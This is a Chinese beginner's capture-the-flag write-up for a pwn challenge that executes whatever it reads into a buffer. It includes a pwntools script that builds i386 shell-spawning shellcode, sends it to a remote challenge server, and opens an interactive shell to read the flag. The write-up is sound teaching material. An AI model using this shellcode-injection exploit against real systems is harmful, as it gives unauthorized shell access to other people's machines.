通过用shellcode获取shell

    科技2025-07-24  10

    通过用shellcode获取shell

    题目来源题目要求:用pwntools生成shellcode进而获取shell权限夺得flag

    题目解题大概思路

    下载题目文件 在终端运行程序,查看题目文件类型和保护机制 用对应位数的IDA来打开题目文件 看题目的条件和内容 写python文件 运行python文件得到flag

    1.终端运行程序,查看题目文件类型和保护机制

    运行文件(好像不能输入数据)

    度娘一下: 出现段错误简单来说就是访问到了不该访问的内存 这些内存不属于用户态的权限范围

    查看文件(checksec保护机制)

    2.反汇编分析

    把程序拉IDA里面分析,F5一键反汇编

    程序先输出“input your shellcode”(应该就是我们运行文件里面那一句)

    然后调用read函数

    这里是我们可以调用read函数向buf里面写入东西

    最后一行 ((void (*)(void))buf)()就是调用了buf的函数(一开始没有认真看这一行导致没有做题的思路)

    也就是我们把shellcode写进buf中,程序就会调用我们所写的shellcode

    3.编写脚本

    要远程攻击服务器,要有相应的ip和端口(可以先进行本地攻击)

    编写脚本(还不熟悉,就照葫芦画瓢地打)

    #-*- coding: utf-8 -*- #说明Python源程序文件用使用的编码类型改为UTF-8的类型 from pwn import * #导入pwntools context(log_level='debug',os='linux',arch='i386') p = process("./shellcode") #载入程序 p = remote("49.234.71.236",28228) #链接远程服务器 shellcode = asm(shellcraft.i386.linux.sh()) #生成shellcode p.recvuntil("shellcode\n") #接收程序显示出来的字符串,直至运行到read函数 p.sendline(shellcode) #向程序输入一行数据(shellcode) p.interactive() #将程序控制权交给用户,相当于自用运行

    4.运行脚本

    在终端用python运行我们写好的脚本

    获取了shell的权限后,用ls列出所有目录,再用cat flag来夺旗

    把flag输入,就成功了,感动QAQ

    总结

    1.checksec保护机制

    2.用pwntools生成shellcode

    3.read函数可以为我们往buf写入数据,同时运行了buf,我们把shellcode写进buf,程序会帮我们调用shellcode

    4.对recvuntil函数的使用

    5.用remote函数链接远端服务器

    Processed: 0.015, SQL: 8